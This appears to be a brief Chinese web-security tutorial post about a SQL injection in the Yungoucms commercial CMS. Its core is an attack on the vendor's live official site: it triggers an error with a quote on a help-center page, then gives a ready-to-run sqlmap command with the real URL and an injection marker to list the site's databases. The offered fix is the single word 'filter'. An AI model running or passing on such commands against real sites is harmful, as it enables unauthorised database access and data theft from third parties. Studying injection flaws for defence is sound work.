Yungoucms商业框架sql注入及修复 - 网站安全 - 自学

这里用Yungoucms商业框架的官方前台http://www.yungoucms.cn做测试。

 

该注入点位于帮助中心的任一页面，

 

 

加'，报错

 

 

请出sqlmap

 

这是一个伪静态页面，直接加*跑数据

 

python sqlmap.py -u "http://www.yungoucms.cn/help/1*" --dbs

 

修复方案：

过滤

查看更多关于Yungoucms商业框架sql注入及修复 - 网站安全 - 自学的详细内容...